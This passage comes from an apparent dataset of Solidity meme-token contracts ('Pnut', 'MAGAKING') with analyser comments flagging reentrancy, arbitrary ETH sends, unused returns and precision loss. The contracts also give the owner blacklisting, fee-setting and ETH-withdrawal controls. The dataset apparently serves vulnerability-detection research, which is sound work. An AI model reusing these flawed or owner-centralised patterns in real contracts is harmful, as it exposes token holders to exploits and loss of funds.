taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ca2960f\n\t\t\t\t// reentrancy-eth | ID: faf53d9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ca2960f\n\t\t\t\t\t// reentrancy-eth | ID: faf53d9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: faf53d9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: faf53d9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: faf53d9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ca2960f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: faf53d9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: faf53d9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ca2960f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ca2960f\n\t\t// reentrancy-events | ID: ce2ece1\n\t\t// reentrancy-benign | ID: 133e203\n\t\t// reentrancy-eth | ID: faf53d9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 074dbf7): Pnut.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 074dbf7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ca2960f\n\t\t// reentrancy-events | ID: ce2ece1\n\t\t// reentrancy-eth | ID: faf53d9\n\t\t// arbitrary-send-eth | ID: 074dbf7\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dabaf6e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dabaf6e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 065f83b): Pnut.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 065f83b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4875a35): Pnut.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4875a35: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3599d7b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3599d7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: dabaf6e\n\t\t// reentrancy-eth | ID: 3599d7b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: dabaf6e\n\t\t// unused-return | ID: 4875a35\n\t\t// reentrancy-eth | ID: 3599d7b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: dabaf6e\n\t\t// unused-return | ID: 065f83b\n\t\t// reentrancy-eth | ID: 3599d7b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: dabaf6e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3599d7b\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function rescueEth() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10777.sol",
"size_bytes": 22321,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 08c5efa): MAGAKING.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 08c5efa: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 9bdd3cf\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 9bdd3cf\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: f68ce0b\n emit Transfer(sender, recipient, amount);\n }\n\n function _createInitialSupply(\n address account,\n uint256 amount\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 61fc693\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f78ef43\n emit Approval(owner, spender, amount);\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership(\n bool confirmRenounce\n ) external virtual onlyOwner {\n require(confirmRenounce, \"Please confirm renounce!\");\n\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface ILpPair {\n function sync() external;\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n\n function removeLiquidityETH(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountToken, uint256 amountETH);\n}\n\ninterface IDexFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract MAGAKING is ERC20, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 641cf6f): MAGAKING.maxBuyAmount should be immutable \n\t// Recommendation for 641cf6f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxBuyAmount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7cb6839): MAGAKING.maxSellAmount should be immutable \n\t// Recommendation for 7cb6839: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxSellAmount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cfee3ef): MAGAKING.maxWallet should be immutable \n\t// Recommendation for cfee3ef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxWallet;\n\n IDexRouter public dexRouter;\n\n address public lpPair;\n\n bool private swapping;\n\n uint256 public swapTokensAtAmount;\n\n address public operationsAddress;\n\n uint256 public tradingActiveBlock = 0;\n\n mapping(address => bool) public markedAsSniper;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n uint256 public buyTotalFees;\n\n uint256 public buyOperationsFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellOperationsFee;\n\n uint256 public tokensForOperations;\n\n bool public oncePerBlockEnabled = true;\n\n uint256 public lastSwapBlock;\n\n uint256 public maxSwapsPerBlock = 1;\n\n uint256 public swapsThisBlock = 0;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event EnabledTrading();\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event UpdatedOperationsAddress(address indexed newWallet);\n\n event MaxTransactionExclusion(address _address, bool excluded);\n\n event OwnerForcedSwapBack(uint256 timestamp);\n\n event CaughtEarlyBuyer(address sniper);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event TransferForeignToken(address token, uint256 amount);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 08c5efa): MAGAKING.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 08c5efa: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"MAGAKING\", \"MKING\") {\n address newOwner = msg.sender;\n\n uint256 totalSupply = 420690000000000 * 1e18;\n\n buyOperationsFee = 25;\n\n buyTotalFees = buyOperationsFee;\n\n sellOperationsFee = 35;\n\n sellTotalFees = sellOperationsFee;\n\n maxBuyAmount = (totalSupply * 1) / 100;\n\n maxSellAmount = (totalSupply * 1) / 100;\n\n maxWallet = (totalSupply * 1) / 100;\n\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n operationsAddress = address(0x06CBCB6Ada52Fd7f02d15c44f7175c3c6Ac3416F);\n\n _excludeFromMaxTransaction(newOwner, true);\n\n _excludeFromMaxTransaction(address(this), true);\n\n _excludeFromMaxTransaction(address(0xdead), true);\n\n _excludeFromMaxTransaction(address(operationsAddress), true);\n\n excludeFromFees(newOwner, true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromFees(address(operationsAddress), true);\n\n _createInitialSupply(address(this), totalSupply);\n\n transferOwnership(newOwner);\n }\n\n receive() external payable {}\n\n function _excludeFromMaxTransaction(\n address updAds,\n bool isExcluded\n ) private {\n\t\t// reentrancy-benign | ID: 61fc693\n _isExcludedMaxTransactionAmount[updAds] = isExcluded;\n\n\t\t// reentrancy-events | ID: f78ef43\n emit MaxTransactionExclusion(updAds, isExcluded);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) external onlyOwner {\n if (!isEx) {\n require(\n updAds != lpPair,\n \"Cannot remove uniswap pair from max txn\"\n );\n }\n\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n\t\t// reentrancy-benign | ID: 61fc693\n automatedMarketMakerPairs[pair] = value;\n\n _excludeFromMaxTransaction(pair, value);\n\n\t\t// reentrancy-events | ID: f78ef43\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(\n pair != lpPair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 46ecb48): MAGAKING.updateBuyTax(uint256) should emit an event for buyOperationsFee = _operationsFee buyTotalFees = buyOperationsFee \n\t// Recommendation for 46ecb48: Emit an event for critical parameter changes.\n function updateBuyTax(uint256 _operationsFee) external onlyOwner {\n\t\t// events-maths | ID: 46ecb48\n buyOperationsFee = _operationsFee;\n\n\t\t// events-maths | ID: 46ecb48\n buyTotalFees = buyOperationsFee;\n\n require(buyTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5ccd9cf): MAGAKING.updateSellTax(uint256) should emit an event for sellOperationsFee = _operationsFee sellTotalFees = sellOperationsFee \n\t// Recommendation for 5ccd9cf: Emit an event for critical parameter changes.\n function updateSellTax(uint256 _operationsFee) external onlyOwner {\n\t\t// events-maths | ID: 5ccd9cf\n sellOperationsFee = _operationsFee;\n\n\t\t// events-maths | ID: 5ccd9cf\n sellTotalFees = sellOperationsFee;\n\n require(sellTotalFees <= 35, \"Must keep fees at 35% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6fcea14): MAGAKING.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 6fcea14: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 1) / 100,\n \"Swap amount cannot be higher than 1% total supply.\"\n );\n\n\t\t// events-maths | ID: 6fcea14\n swapTokensAtAmount = newAmount;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n\t\t// reentrancy-benign | ID: 61fc693\n _isExcludedFromFees[account] = excluded;\n\n\t\t// reentrancy-events | ID: f78ef43\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f68ce0b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f68ce0b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 986cd52): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 986cd52: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0a67379): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 0a67379: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9bdd3cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9bdd3cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"amount must be greater than 0\");\n\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n } else {\n require(!markedAsSniper[from], \"Snipers cannot transfer tokens\");\n }\n\n if (limitsInEffect) {\n if (\n to != address(0xdead) &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxBuyAmount,\n \"Buy transfer amount exceeds the max buy.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max Wallet Exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxSellAmount,\n \"Sell transfer amount exceeds the max sell.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max Wallet Exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap && swapEnabled && !swapping && automatedMarketMakerPairs[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: f68ce0b\n\t\t\t// reentrancy-eth | ID: 9bdd3cf\n swapBack(false);\n\n\t\t\t// reentrancy-eth | ID: 9bdd3cf\n swapping = false;\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 986cd52\n fees = (amount * sellTotalFees) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: 986cd52\n\t\t\t\t// reentrancy-eth | ID: 9bdd3cf\n tokensForOperations +=\n (fees * sellOperationsFee) /\n sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 0a67379\n fees = (amount * buyTotalFees) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: 0a67379\n\t\t\t\t// reentrancy-eth | ID: 9bdd3cf\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: f68ce0b\n\t\t\t\t// reentrancy-eth | ID: 9bdd3cf\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: f68ce0b\n\t\t// reentrancy-eth | ID: 9bdd3cf\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: eb0c3e4\n\t\t// reentrancy-events | ID: f68ce0b\n\t\t// reentrancy-benign | ID: 7c80fec\n\t\t// reentrancy-no-eth | ID: bd2f454\n\t\t// reentrancy-eth | ID: 9bdd3cf\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: bd2f454): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for bd2f454: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack(bool all) private {\n if (block.number != lastSwapBlock) {\n lastSwapBlock = block.number;\n\n swapsThisBlock = 0;\n }\n\n if (oncePerBlockEnabled && swapsThisBlock >= maxSwapsPerBlock) {\n return;\n }\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForOperations;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (!all && (contractBalance > swapTokensAtAmount * 15)) {\n contractBalance = swapTokensAtAmount * 15;\n }\n\n\t\t// reentrancy-no-eth | ID: bd2f454\n swapTokensForEth(contractBalance);\n\n\t\t// reentrancy-no-eth | ID: bd2f454\n tokensForOperations = 0;\n\n\t\t// reentrancy-no-eth | ID: bd2f454\n swapsThisBlock += 1;\n\n\t\t// reentrancy-events | ID: eb0c3e4\n\t\t// reentrancy-events | ID: f68ce0b\n\t\t// reentrancy-benign | ID: 7c80fec\n\t\t// reentrancy-eth | ID: 9bdd3cf\n (bool success, ) = address(operationsAddress).call{\n value: address(this).balance\n }(\"\");\n\n require(success, \"Transfer to operations address failed\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 90dfdb2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 90dfdb2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferForeignToken(\n address _token,\n address _to\n ) external onlyOwner returns (bool _sent) {\n require(_token != address(0), \"_token address cannot be 0\");\n\n require(\n _token != address(this) || !tradingActive,\n \"Can't withdraw native tokens while trading is active\"\n );\n\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: 90dfdb2\n _sent = IERC20(_token).transfer(_to, _contractBalance);\n\n\t\t// reentrancy-events | ID: 90dfdb2\n emit TransferForeignToken(_token, _contractBalance);\n }\n\n function setOperationsAddress(\n address _operationsAddress\n ) external onlyOwner {\n require(\n _operationsAddress != address(0),\n \"_operationsAddress address cannot be 0\"\n );\n\n operationsAddress = payable(_operationsAddress);\n\n emit UpdatedOperationsAddress(_operationsAddress);\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n }\n\n function flagSniper(address wallet) external onlyOwner {\n require(!markedAsSniper[wallet], \"Wallet is already flagged.\");\n\n markedAsSniper[wallet] = true;\n }\n\n function unflagSniper(address wallet) external onlyOwner {\n require(markedAsSniper[wallet], \"Wallet is already not marked.\");\n\n markedAsSniper[wallet] = false;\n }\n\n function recoverETH() external onlyOwner {\n bool success;\n\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f78ef43): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f78ef43: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 61fc693): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 61fc693: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1ae3569): MAGAKING.prepLaunch() ignores return value by dexRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp)\n\t// Recommendation for 1ae3569: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 43af7aa): MAGAKING.prepLaunch()._dexRouter is a local variable never initialized\n\t// Recommendation for 43af7aa: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function prepLaunch() external onlyOwner {\n require(!tradingActive, \"Trading is already active, cannot relaunch.\");\n\n address _dexRouter;\n\n if (block.chainid == 1) {\n _dexRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 56) {\n _dexRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n } else if (block.chainid == 97) {\n _dexRouter = 0xD99D1c33F9fC3444f8101754aBC46c52416550D1;\n } else if (block.chainid == 42161) {\n _dexRouter = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;\n } else {\n revert(\"Chain not configured\");\n }\n\n dexRouter = IDexRouter(_dexRouter);\n\n\t\t// reentrancy-events | ID: f78ef43\n\t\t// reentrancy-benign | ID: 61fc693\n lpPair = IDexFactory(dexRouter.factory()).createPair(\n address(this),\n dexRouter.WETH()\n );\n\n\t\t// reentrancy-events | ID: f78ef43\n\t\t// reentrancy-benign | ID: 61fc693\n _excludeFromMaxTransaction(address(lpPair), true);\n\n\t\t// reentrancy-events | ID: f78ef43\n\t\t// reentrancy-benign | ID: 61fc693\n _setAutomatedMarketMakerPair(address(lpPair), true);\n\n\t\t// reentrancy-events | ID: f78ef43\n\t\t// reentrancy-benign | ID: 61fc693\n _excludeFromMaxTransaction(address(dexRouter), true);\n\n\t\t// reentrancy-events | ID: f78ef43\n\t\t// reentrancy-benign | ID: 61fc693\n excludeFromFees(address(dexRouter), true);\n\n require(\n address(this).balance > 0,\n \"Must have ETH on contract to launch\"\n );\n\n require(\n balanceOf(address(this)) > 0,\n \"Must have Tokens on contract to launch\"\n );\n\n\t\t// reentrancy-events | ID: f78ef43\n\t\t// reentrancy-benign | ID: 61fc693\n _approve(address(this), address(dexRouter), balanceOf(address(this)));\n\n\t\t// unused-return | ID: 1ae3569\n dexRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingActive, 